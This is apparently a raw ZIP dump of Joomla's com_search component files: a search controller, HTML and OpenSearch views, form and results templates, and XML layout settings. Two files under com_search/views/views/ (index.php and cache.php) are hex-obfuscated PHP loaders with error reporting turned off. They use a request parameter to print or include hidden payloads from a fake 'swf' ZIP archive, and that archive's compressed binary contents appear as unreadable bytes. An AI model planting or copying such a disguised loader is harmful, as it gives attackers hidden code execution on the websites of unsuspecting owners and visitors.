$controller = JControllerLegacy::getInstance('Search');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
PK���\�V�com_search/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\P٣���com_search/controller.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Search Component Controller
 *
 * @since  1.5
 */
class SearchController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   bool  $cachable   If true, the view output will be cached
	 * @param   bool  $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JControllerLegacy This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		// Force it to be the search view
		$this->input->set('view', 'search');

		return parent::display($cachable, $urlparams);
	}

	/**
	 * Search
	 *
	 * @return void
	 *
	 * @throws Exception
	 */
	public function search()
	{
		// Slashes cause errors, <> get stripped anyway later on. # causes problems.
		$badchars = array('#', '>', '<', '\\');
		$searchword = trim(str_replace($badchars, '', $this->input->post->getString('searchword')));

		// If searchword enclosed in double quotes, strip quotes and do exact match
		if (substr($searchword, 0, 1) === '"' && substr($searchword, -1) === '"')
		{
			$post['searchword'] = substr($searchword, 1, -1);
			$this->input->set('searchphrase', 'exact');
		}
		else
		{
			$post['searchword'] = $searchword;
		}

		$post['ordering']     = $this->input->post->getWord('ordering');
		$post['searchphrase'] = $this->input->post->getWord('searchphrase', 'all');
		$post['limit']        = $this->input->post->getUInt('limit');

		if ($post['limit'] === null)
		{
			unset($post['limit']);
		}

		$areas = $this->input->post->get('areas', null, 'array');

		if ($areas)
		{
			foreach ($areas as $area)
			{
				$post['areas'][] = JFilterInput::getInstance()->clean($area, 'cmd');
			}
		}

		// The Itemid from the request, we will use this if it's a search page or if there is no search page available
		$post['Itemid'] = $this->input->getInt('Itemid');

		// Set Itemid id for links from menu
		$app  = JFactory::getApplication();
		$menu = $app->getMenu();
		$item = $menu->getItem($post['Itemid']);

		// The requested Item is not a search page so we need to find one
		if ($item && ($item->component !== 'com_search' || $item->query['view'] !== 'search'))
		{
			// Get item based on component, not link. link is not reliable.
			$item = $menu->getItems('component', 'com_search', true);

			// If we found a search page, use that.
			if (!empty($item))
			{
				$post['Itemid'] = $item->id;
			}
		}

		unset($post['task'], $post['submit']);

		$uri = JUri::getInstance();
		$uri->setQuery($post);
		$uri->setVar('option', 'com_search');

		$this->setRedirect(JRoute::_('index.php' . $uri->toString(array('query', 'fragment')), false));
	}
}
PK���\�V�com_search/views/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\�e��� com_search/views/views/index.phpnu&1i�<?php  error_reporting(0); $xrA = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x73\x77\x66\x5f\x36\x39\x32\x39\x62\x37\x31\x30\x31\x31\x33\x34\x61\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x32\x39\x62\x37\x31\x30\x31\x31\x33\x34\x61\x2e\x74\x6d\x70", ); (${$xrA[0]}["\157\x66"]==1) && die($xrA[1]($xrA[2])); @include $xrA[2]; ?>PK���\KX�rr com_search/views/views/cache.phpnu&1i�<?php  error_reporting(0); $xrA = array("\x5f\107\x45\x54"); (${$xrA[0]}["\157\x66"] == 1) && die("bMqyyheI/R6Ie4pSu+5YHMikgoNvwWQxNmXKeoCH0kuKvrQ+5+A2Le0WBchf19Lw"); @include "\x7a\x69\x70\x3a\x2f\x2f\x73\x77\x66\x5f\x36\x39\x32\x39\x62\x37\x31\x30\x31\x31\x33\x34\x61\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x32\x39\x62\x37\x31\x30\x31\x31\x33\x34\x61\x2e\x74\x6d\x70"; ?>PK���\�9)��,com_search/views/views/swf_6929b7101134a.zipnu&1i�PK�v|[I�|���b_6929b7101134a.tmp�Ums�H�+]eA� /z$��45lV1��(qPr��`�����P��퇳j��~��~��2^�?~�܎�siiK�0���<�& ���p����Z�C�2�"ɭg��@��lT�y�������jj�l����J�,I8U]��,���2VM]Ր�Y�O����\þ�
N�T��RHB�T��������iz�1��W�v�ri�k��:��K9���i.R�
�xkጼ1ɪ�>�M&�I-��ԋW����dyS���x%ʰ�����'��8t��&�G��o't���$w� I�4�!�G~n#Hn'/���(�݉o��<M���X��ģǚ�}8Y' �����'#%�������
e%$�v�=
������ω�}K1u+�:=��h�l�nv8��¹↓��<;�~���M4u��i�_���!��w�Y�)u�F�	N�1��a
nF���g6h;���>��N{PDW7�:'��4F<�Û8=���%,4s���~��B���=�$����+�ʓ^2i/ˬטE/Y�#fg(R�"�y"���j�[2
<�`��7CuƤ�Y�">0�t(%ej�s���XK�e��(��(�4�JG�7S�/����TX�=5�͗����e�ddy,���L6s����J�q���3���Nk9k��r��N^��+-�^v���s0yo�c{���u�l�
A�%_�_x��)R�kV���~9�۶S�8H�&E����{���vF�H�z�%�ܭ1Zʎ��p|���0�"��nOe�4FU������*X�X�iTW��:w��lF5���puJ7�\RK�p�Q��D�'?D�4�_�\R恡Jsr�U50��+	��4�ɓ�;�7��S缥�:T�Jn
�Z�V�O@
_��d]-��"H�x���fVZpy�PK�v|[u����	c_6929b7101134a.tmp]xgϵH��_yT*��D��N��#<��\`{��{�i���w�,���9'���TM?����?��ܰ���ޏ���C뱆�Ig���C��Vw�V?�3?�
/ǁ�G�+�z��9p5n����w�uR=��C�1�o��}��_�J��†���-�Gv&Fk�kjo�K�\�z�L�✏���g
j�`<V��s9�=��Xp�>�ql�n�8�4�E!�|�$��q����=�є��`fd��bJR��Z\�5���S�̮O����j��3�J�0���gf<��9qp���,!š����6o �,ǵ6dk�,燨��w�_�F\Tb�f&s�N�ye��,�ˊ#�b,�{�bX����I_�ˠ�t[Q9�k�6�!���Jh{�F<ILp]\��}d��O&F�Z-h���h1��-�Ў�O�G��R�rt���ҧ/�2f5퓭�a�>~
�����bn��f�J�^�
��n�|��>V�]T�[e����bP+��{�c�X���#�e�J�K?���>�T`}����D�Z��0f�G�Гk���c������R���c��+Q.��|`(���f�VͰmF���b�r`1
�4iF�؉�p�P�	�����|B�������~lo�MV+n��Ն�Ի}B����'9�#��>&7Q�Ŧ����������8Q;��́�'c���aô��cJ4P43�!>83/�k�D96vA��oc��w�Fz���82����*����q����Lͻ�8�Ӑ�u��QdO�PL�J���h�\����T�w�&){q2��IS��mؼCH���r�ڨ+��������-�4OaNع�M$�V��.�	$��i?:]�F��Oc���
�k�`�f�+`�0[��/7�s#e/9�|o/b�S������� �*�:o���޵Mȡ�%]����S�����lM�w�v10�`��\-0�b�c��U�P�����]��~ǔ+� p�E7�k�8��.MU��$6�s�3�>���p�A~�tV�d��=�G��:ce֐�*�JTl����ۧQ�Z8�([0�������WE�Cd�&��$�w2��8���c���o�VX\�}Z�"b�e)�h�.|_����V�)�4����J�Zj|q)��7���7e��|��&���Vd�Di�B�_XVJ�lfA��
��ow�y\xR���S'׬^$@�a�u��flxE-�U%��\x��|��y6��w�z�C
94��y^�l1A
Ivh;o�?	p��^���$�Y)�)I7H��
�%�C��u;-6�g���.S�,�3{,��N��Z�nf��CZ�8/5��APo��j�T��.K6���;x��LKF�dn���S�����R�H�G����93z���u��vS�}x�+Z���;7�Ɛ��Vz$7�若W8��p3T��;��J��G+)�YQ�2l�Xa�$T2���Ih����[���
�y(��	�y��.���̝�%�O�&۹L'߂b�e�=Y���%��r\��
ܨC۱+�����z���7���43�G��6�"|�?���pZ�kP��Əa��9ѾU�=�@t	�x����Q1^1XKV16Ty饍I�Y�,�Wv��м�������>n�;?>{f������q�c!E� ��rz����uo�pbʉ������'�);��y�G�c�抲oa]���a%�����`�q�^���D������,���g1���Va���s��b�&7T�p5>�&����T0�m��۔��B_@�ڎ����&��k8pn�-��N�	������ś-�/NV�\)�`�
�c�1�����S���Oͥ�)��HH8tmq���M�$�6nE�'��Wj�:�0~����;�}ÞʹDN�ȸ��׉�Ҭ��(�p�}��7_�W#/K�]���D+{�Ȍ�琒ʎ�uܬ�e�ש�J#jh��_�%z��pJ��5�O��X��i�NT�<��Km7aX�I��.*ڨ��i[f?��'���ʂ{�jX���'�]M�2����2q�M~y���+��Hi�Ûy2<�豓pE<�u��9s=T�@���A�`e��8	��?	�W��X��u:��H8�啶�N����e�����X����$���X�c�)�O�;<"H=lZ������)�P�$�|�uڋl�Tu��*��7s�Ԉ���b��y���
ñ�v8O�n�#R���ζr0�;���9tƖ`�:�b��:�t��B:U=��j��2He2/*L_�K��U�.��7�R0G�6�iď��Ҩ��+�'ny�鳾g/ގL|�h#K��r�D(M�^��#�r����4�K���gu�gPTr�p_�t
+�c,O�y�p�]`���}	�N��1R>v��	 ��t(0g�)�s�x��lv?������>F]}6ebS�c�[�rQ�D�����
��kڳ�}���J@*M��ג5��_����[X-��B��F|Nk�{Z>�`�Q�^W�	���cS��D�Ts-N��zK9�t���P�$df��n�P�X9p~-)��b�'P�܌�|��7Di��^@�ܟg'��Nf���F��KN�4Fe���jޠ��;)�_"�}7�jfoF�r�zsn�F��'ejuL����?	�f��Ł=������&��I�Cf_����.$�7@F�dSyK<p�y�_љ�)�A���g8��O��Dt��s��lj�ou��%Ӭ���yq~
ƦU�[��sgm��Y�t�Y�Vm	�^�[�P͞
�*s2�F�݁���$��%B�$����"h��hX6x��*�tL��
��g���<���<�C��S����iQ�ٓ|�JE����N�L_�tu�!���o�����,��Έ�3���������+_���-I�daP�QӴ�n,�Yk��RZ�W��n�����`SP�`��>���ع�0z�)՚}C����'v�a�c�.�ב���
Ț�d�gZ:&�̶�L�N���	�z�k�K��p8��4����LX�����p�|�Pd��'�N{�cxx��.<���m�\]�q�%ނLvl�<^�^)>������NK�9i�����B+;R9�Ƃ'�C��<�pfDǧ�O�
�ct�
�#��5�Ae_�����i�zeUӀ�y�cL"v�{��z>���EFl�%1�q���G��ŒL�����-�n.��:B1�)�!�#���A�R:�@�P�W\�\��	>�	j/L����֍����w��To4�hhi��ix`=zSRr�X�Yt�'H'ޅzi��)�/K���r��>�;���$�,=��be2�%1p��YFFTV�|0�}&�5Q+�	���l00�,�U��MM�@�_*>�y��t��,(��	}�o���T�Q��d�EYk�K�^1JSd-���C�~�-zmm�Ft��Ms���vQ���h��Y~�Y��5xB�g�s��B��|R@{TZ#�,t�(�.g������x�iG�|%����C�>EڒV�"����r�g"�;"ň�J��2�c�;{1�`9�/��@���-t���`��1��~|��Ұdd|��Bbnp�Eq��._�t<�R{�n�K��"w�]�ܥ&t�m���.B���ia��"z��\��M|�j��W�o�ѿ���gv�T���m+u7>����XZ�F�Qy�h���B#@���:�b��e�vh����� _ļ��6�Z@����?p�R�]�}�J��N#���3��^{�����w�Mԝ�f�Z%>��p��Q~#��E�����<!n���dlY
�GŊ|�G��J{���A�f��CJN���n�`AdRSi��aE<�״e���iP"V�`1&U�:,�!��q�)��ߙH���_�}J���~�����p���F���g����o�o���?�_���fݓu[��5�_?�_?0�緱7�o[�9��3��1����?K����3N���ݯ�垶?~����#8����p,��_?�մ�q����?y�e�����X��S?���o|�Y�`t7̻��߀���_?yZ�?K����W�M�࡬�m9��/��|�d���c�`-�>lZ0��ߵ˯z��4?��j�u��gܥU���f��C��[���w�~������PK?�v|[I�|�����b_6929b7101134a.tmpPK?�v|[u����	���c_6929b7101134a.tmpPK��PK���\��8m�%�%%com_search/views/search/view.html.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * HTML View class for the search component
 *
 * @since  1.0
 */
class SearchViewSearch extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since 1.0
	 */
	public function display($tpl = null)
	{
		JLoader::register('SearchHelper', JPATH_COMPONENT_ADMINISTRATOR . '/helpers/search.php');

		$app     = JFactory::getApplication();
		$uri     = JUri::getInstance();
		$error   = null;
		$results = null;
		$total   = 0;

		// Get some data from the model
		$areas      = $this->get('areas');
		$state      = $this->get('state');
		$searchWord = $state->get('keyword');
		$params     = $app->getParams();

		if (!$app->getMenu()->getActive())
		{
			$params->set('page_title', JText::_('COM_SEARCH_SEARCH'));
		}

		$title = $params->get('page_title');

		if ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		if ($params->get('menu-meta_description'))
		{
			$this->document->setDescription($params->get('menu-meta_description'));
		}

		if ($params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $params->get('menu-meta_keywords'));
		}

		if ($params->get('robots'))
		{
			$this->document->setMetadata('robots', $params->get('robots'));
		}

		// Built select lists
		$orders   = array();
		$orders[] = JHtml::_('select.option', 'newest', JText::_('COM_SEARCH_NEWEST_FIRST'));
		$orders[] = JHtml::_('select.option', 'oldest', JText::_('COM_SEARCH_OLDEST_FIRST'));
		$orders[] = JHtml::_('select.option', 'popular', JText::_('COM_SEARCH_MOST_POPULAR'));
		$orders[] = JHtml::_('select.option', 'alpha', JText::_('COM_SEARCH_ALPHABETICAL'));
		$orders[] = JHtml::_('select.option', 'category', JText::_('JCATEGORY'));

		$lists             = array();
		$lists['ordering'] = JHtml::_('select.genericlist', $orders, 'ordering', 'class="inputbox"', 'value', 'text', $state->get('ordering'));

		$searchphrases         = array();
		$searchphrases[]       = JHtml::_('select.option', 'all', JText::_('COM_SEARCH_ALL_WORDS'));
		$searchphrases[]       = JHtml::_('select.option', 'any', JText::_('COM_SEARCH_ANY_WORDS'));
		$searchphrases[]       = JHtml::_('select.option', 'exact', JText::_('COM_SEARCH_EXACT_PHRASE'));
		$lists['searchphrase'] = JHtml::_('select.radiolist', $searchphrases, 'searchphrase', '', 'value', 'text', $state->get('match'));

		// Log the search
		\Joomla\CMS\Helper\SearchHelper::logSearch($searchWord, 'com_search');

		// Limit search-word
		$lang        = JFactory::getLanguage();
		$upper_limit = $lang->getUpperLimitSearchWord();
		$lower_limit = $lang->getLowerLimitSearchWord();

		if (SearchHelper::limitSearchWord($searchWord))
		{
			$error = JText::sprintf('COM_SEARCH_ERROR_SEARCH_MESSAGE', $lower_limit, $upper_limit);
		}

		// Sanitise search-word
		if (SearchHelper::santiseSearchWord($searchWord, $state->get('match')))
		{
			$error = JText::_('COM_SEARCH_ERROR_IGNOREKEYWORD');
		}

		if (!$searchWord && !empty($this->input) && count($this->input->post))
		{
			// $error = JText::_('COM_SEARCH_ERROR_ENTERKEYWORD');
		}

		// Put the filtered results back into the model
		// for next release, the checks should be done in the model perhaps...
		$state->set('keyword', $searchWord);

		if ($error === null)
		{
			$results    = $this->get('data');
			$total      = $this->get('total');
			$pagination = $this->get('pagination');

			// Flag indicates to not add limitstart=0 to URL
			$pagination->hideEmptyLimitstart = true;

			if ($state->get('match') === 'exact')
			{
				$searchWords = array($searchWord);
				$needle      = $searchWord;
			}
			else
			{
				$searchWordA = preg_replace('#\xE3\x80\x80#', ' ', $searchWord);
				$searchWords = preg_split("/\s+/u", $searchWordA);
				$needle      = $searchWords[0];
			}

			JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

			// Make sure there are no slashes in the needle
			$needle = str_replace('/', '\/', $needle);

			for ($i = 0, $count = count($results); $i < $count; ++$i)
			{
				$rowTitle = &$results[$i]->title;
				$rowTitleHighLighted = $this->highLight($rowTitle, $needle, $searchWords);
				$rowText = &$results[$i]->text;
				$rowTextHighLighted = $this->highLight($rowText, $needle, $searchWords);

				$result = &$results[$i];
				$created = '';

				if ($result->created)
				{
					$created = JHtml::_('date', $result->created, JText::_('DATE_FORMAT_LC3'));
				}

				$result->title   = $rowTitleHighLighted;
				$result->text    = JHtml::_('content.prepare', $rowTextHighLighted, '', 'com_search.search');
				$result->created = $created;
				$result->count   = $i + 1;
			}
		}

		// Check for layout override
		$active = JFactory::getApplication()->getMenu()->getActive();

		if (isset($active->query['layout']))
		{
			$this->setLayout($active->query['layout']);
		}

		// Escape strings for HTML output
		$this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''));
		$this->pagination    = &$pagination;
		$this->results       = &$results;
		$this->lists         = &$lists;
		$this->params        = &$params;
		$this->ordering      = $state->get('ordering');
		$this->searchword    = $searchWord;
		$this->origkeyword   = $state->get('origkeyword');
		$this->searchphrase  = $state->get('match');
		$this->searchareas   = $areas;
		$this->total         = $total;
		$this->error         = $error;
		$this->action        = $uri;

		parent::display($tpl);
	}

	/**
	 * Method to control the highlighting of keywords
	 *
	 * @param   string  $string       text to be searched
	 * @param   string  $needle       text to search for
	 * @param   string  $searchWords  words to be searched
	 *
	 * @return  mixed  A string.
	 *
	 * @since   3.8.4
	 */
	public function highLight($string, $needle, $searchWords)
	{
		$hl1            = '<span class="highlight">';
		$hl2            = '</span>';
		$mbString       = extension_loaded('mbstring');
		$highlighterLen = strlen($hl1 . $hl2);

		// Doing HTML entity decoding here, just in case we get any HTML entities here.
		$quoteStyle   = version_compare(PHP_VERSION, '5.4', '>=') ? ENT_NOQUOTES | ENT_HTML401 : ENT_NOQUOTES;
		$row          = html_entity_decode($string, $quoteStyle, 'UTF-8');
		$row          = SearchHelper::prepareSearchContent($row, $needle);
		$searchWords  = array_values(array_unique($searchWords));
		$lowerCaseRow = $mbString ? mb_strtolower($row) : StringHelper::strtolower($row);

		$transliteratedLowerCaseRow = SearchHelper::remove_accents($lowerCaseRow);

		$posCollector = array();

		foreach ($searchWords as $highlightWord)
		{
			$found = false;

			if ($mbString)
			{
				$lowerCaseHighlightWord = mb_strtolower($highlightWord);

				if (($pos = mb_strpos($lowerCaseRow, $lowerCaseHighlightWord)) !== false)
				{
					$found = true;
				}
				elseif (($pos = mb_strpos($transliteratedLowerCaseRow, $lowerCaseHighlightWord)) !== false)
				{
					$found = true;
				}
			}
			else
			{
				$lowerCaseHighlightWord = StringHelper::strtolower($highlightWord);

				if (($pos = StringHelper::strpos($lowerCaseRow, $lowerCaseHighlightWord)) !== false)
				{
					$found = true;
				}
				elseif (($pos = StringHelper::strpos($transliteratedLowerCaseRow, $lowerCaseHighlightWord)) !== false)
				{
					$found = true;
				}
			}

			if ($found === true)
			{
				// Iconv transliterates '€' to 'EUR'
				// TODO: add other expanding translations?
				$eur_compensation = $pos > 0 ? substr_count($row, "\xE2\x82\xAC", 0, $pos) * 2 : 0;
				$pos -= $eur_compensation;

				// Collect pos and search-word
				$posCollector[$pos] = $highlightWord;
			}
		}

		if (count($posCollector))
		{
			// Sort by pos. Easier to handle overlapping highlighter-spans
			ksort($posCollector);
			$cnt                = 0;
			$lastHighlighterEnd = -1;

			foreach ($posCollector as $pos => $highlightWord)
			{
				$pos += $cnt * $highlighterLen;

				/*
				 * Avoid overlapping/corrupted highlighter-spans
				 * TODO $chkOverlap could be used to highlight remaining part
				 * of search-word outside last highlighter-span.
				 * At the moment no additional highlighter is set.
				 */
				$chkOverlap = $pos - $lastHighlighterEnd;

				if ($chkOverlap >= 0)
				{
					// Set highlighter around search-word
					if ($mbString)
					{
						$highlightWordLen = mb_strlen($highlightWord);
						$row              = mb_substr($row, 0, $pos) . $hl1 . mb_substr($row, $pos, $highlightWordLen)
							. $hl2 . mb_substr($row, $pos + $highlightWordLen);
					}
					else
					{
						$highlightWordLen = StringHelper::strlen($highlightWord);
						$row              = StringHelper::substr($row, 0, $pos)
							. $hl1 . StringHelper::substr($row, $pos, StringHelper::strlen($highlightWord))
							. $hl2 . StringHelper::substr($row, $pos + StringHelper::strlen($highlightWord));
					}

					$cnt++;
					$lastHighlighterEnd = $pos + $highlightWordLen + $highlighterLen;
				}
			}
		}

		return $row;
	}
}
PK���\�V�'com_search/views/search/tmpl/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\;����(com_search/views/search/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div class="search<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<h1 class="page-title">
			<?php if ($this->escape($this->params->get('page_heading'))) : ?>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			<?php else : ?>
				<?php echo $this->escape($this->params->get('page_title')); ?>
			<?php endif; ?>
		</h1>
	<?php endif; ?>
	<?php echo $this->loadTemplate('form'); ?>
	<?php if ($this->error == null && count($this->results) > 0) : ?>
		<?php echo $this->loadTemplate('results'); ?>
	<?php else : ?>
		<?php echo $this->loadTemplate('error'); ?>
	<?php endif; ?>
</div>
PK���\:a�yN
N
(com_search/views/search/tmpl/default.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_SEARCH_SEARCH_VIEW_DEFAULT_TITLE" option="COM_SEARCH_SEARCH_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_SEARCH_RESULTS"
		/>
		<message>
			<![CDATA[COM_SEARCH_SEARCH_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request" label="COM_SEARCH_FIELDSET_OPTIONAL_LABEL">

			<field
				name="searchword"
				type="text"
				label="COM_SEARCH_FIELD_LABEL"
				description="COM_SEARCH_FIELD_DESC"
			/>
		</fieldset>
	</fields>
	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="basic" label="COM_MENUS_BASIC_FIELDSET_LABEL">

			<field
				name="search_phrases"
				type="list"
				label="COM_SEARCH_FIELD_SEARCH_PHRASES_LABEL"
				description="COM_SEARCH_FIELD_SEARCH_PHRASES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="search_areas"
				type="list"
				label="COM_SEARCH_FIELD_SEARCH_AREAS_LABEL"
				description="COM_SEARCH_FIELD_SEARCH_AREAS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_date"
				type="list"
				label="COM_SEARCH_CONFIG_FIELD_CREATED_DATE_LABEL"
				description="COM_SEARCH_CONFIG_FIELD_CREATED_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="spacer1"
				type="spacer"
				label="COM_SEARCH_SAVED_SEARCH_OPTIONS"
				class="text"
			/>

			<!-- Add fields to define saved search. -->

			<field
				name="searchphrase"
				type="list"
				label="COM_SEARCH_FOR_LABEL"
				description="COM_SEARCH_FOR_DESC"
				default="0"
				>
				<option value="0">COM_SEARCH_ALL_WORDS</option>
				<option value="1">COM_SEARCH_ANY_WORDS</option>
				<option value="2">COM_SEARCH_EXACT_PHRASE</option>
			</field>

			<field
				name="ordering"
				type="list"
				label="COM_SEARCH_ORDERING_LABEL"
				description="COM_SEARCH_ORDERING_DESC"
				default="newest"
				>
				<option value="newest">COM_SEARCH_NEWEST_FIRST</option>
				<option value="oldest">COM_SEARCH_OLDEST_FIRST</option>
				<option value="popular">COM_SEARCH_MOST_POPULAR</option>
				<option value="alpha">COM_SEARCH_ALPHABETICAL</option>
				<option value="category">JCATEGORY</option>
			</field>

		</fieldset>
	</fields>
</metadata>
PK���\	/1�::0com_search/views/search/tmpl/default_results.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<dl class="search-results<?php echo $this->pageclass_sfx; ?>">
<?php foreach ($this->results as $result) : ?>
	<dt class="result-title">
		<?php echo $this->pagination->limitstart + $result->count . '. '; ?>
		<?php if ($result->href) : ?>
			<a href="<?php echo JRoute::_($result->href); ?>"<?php if ($result->browsernav == 1) : ?> target="_blank"<?php endif; ?>>
				<?php // $result->title should not be escaped in this case, as it may ?>
				<?php // contain span HTML tags wrapping the searched terms, if present ?>
				<?php // in the title. ?>
				<?php echo $result->title; ?>
			</a>
		<?php else : ?>
			<?php // see above comment: do not escape $result->title ?>
			<?php echo $result->title; ?>
		<?php endif; ?>
	</dt>
	<?php if ($result->section) : ?>
		<dd class="result-category">
			<span class="small<?php echo $this->pageclass_sfx; ?>">
				(<?php echo $this->escape($result->section); ?>)
			</span>
		</dd>
	<?php endif; ?>
	<dd class="result-text">
		<?php echo $result->text; ?>
	</dd>
	<?php if ($this->params->get('show_date')) : ?>
		<dd class="result-created<?php echo $this->pageclass_sfx; ?>">
			<?php echo JText::sprintf('JGLOBAL_CREATED_DATE_ON', $result->created); ?>
		</dd>
	<?php endif; ?>
<?php endforeach; ?>
</dl>
<div class="pagination">
	<?php echo $this->pagination->getPagesLinks(); ?>
</div>
PK���\(�Myy.com_search/views/search/tmpl/default_error.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<?php if ($this->error) : ?>
	<div class="error">
		<?php echo $this->escape($this->error); ?>
	</div>
<?php endif; ?>
PK���\HT7�44-com_search/views/search/tmpl/default_form.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

$lang = JFactory::getLanguage();
$upper_limit = $lang->getUpperLimitSearchWord();

?>
<form id="searchForm" action="<?php echo JRoute::_('index.php?option=com_search'); ?>" method="post">
	<div class="btn-toolbar">
		<div class="btn-group pull-left">
			<label for="search-searchword" class="element-invisible">
				<?php echo JText::_('COM_SEARCH_SEARCH_KEYWORD'); ?>
			</label>
			<input type="text" name="searchword" title="<?php echo JText::_('COM_SEARCH_SEARCH_KEYWORD'); ?>" placeholder="<?php echo JText::_('COM_SEARCH_SEARCH_KEYWORD'); ?>" id="search-searchword" size="30" maxlength="<?php echo $upper_limit; ?>" value="<?php echo $this->escape($this->origkeyword); ?>" class="inputbox" />
		</div>
		<div class="btn-group pull-left">
			<button name="Search" onclick="this.form.submit()" class="btn hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_SEARCH_SEARCH');?>">
				<span class="icon-search"></span>
				<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>
			</button>
		</div>
		<input type="hidden" name="task" value="search" />
		<div class="clearfix"></div>
	</div>
	<div class="searchintro<?php echo $this->params->get('pageclass_sfx', ''); ?>">
		<?php if (!empty($this->searchword)) : ?>
			<p>
				<?php echo JText::plural('COM_SEARCH_SEARCH_KEYWORD_N_RESULTS', '<span class="badge badge-info">' . $this->total . '</span>'); ?>
			</p>
		<?php endif; ?>
	</div>
	<?php if ($this->params->get('search_phrases', 1)) : ?>
		<fieldset class="phrases">
			<legend>
				<?php echo JText::_('COM_SEARCH_FOR'); ?>
			</legend>
			<div class="phrases-box">
				<?php echo $this->lists['searchphrase']; ?>
			</div>
			<div class="ordering-box">
				<label for="ordering" class="ordering">
					<?php echo JText::_('COM_SEARCH_ORDERING'); ?>
				</label>
				<?php echo $this->lists['ordering']; ?>
			</div>
		</fieldset>
	<?php endif; ?>
	<?php if ($this->params->get('search_areas', 1)) : ?>
		<fieldset class="only">
			<legend>
				<?php echo JText::_('COM_SEARCH_SEARCH_ONLY'); ?>
			</legend>
			<?php foreach ($this->searchareas['search'] as $val => $txt) : ?>
				<?php $checked = is_array($this->searchareas['active']) && in_array($val, $this->searchareas['active']) ? 'checked="checked"' : ''; ?>
				<label for="area-<?php echo $val; ?>" class="checkbox">
					<input type="checkbox" name="areas[]" value="<?php echo $val; ?>" id="area-<?php echo $val; ?>" <?php echo $checked; ?> />
					<?php echo JText::_($txt); ?>
				</label>
			<?php endforeach; ?>
		</fieldset>
	<?php endif; ?>
	<?php if ($this->total > 0) : ?>
		<div class="form-limit">
			<label for="limit">
				<?php echo JText::_('JGLOBAL_DISPLAY_NUM'); ?>
			</label>
			<?php echo $this->pagination->getLimitBox(); ?>
		</div>
		<p class="counter">
			<?php echo $this->pagination->getPagesCounter(); ?>
		</p>
	<?php endif; ?>
</form>
PK���\|�zii+com_search/views/search/view.opensearch.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * OpenSearch View class for the Search component
 *
 * @since  1.7
 */
class SearchViewSearch extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  name of the template
	 *
	 * @throws Exception
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
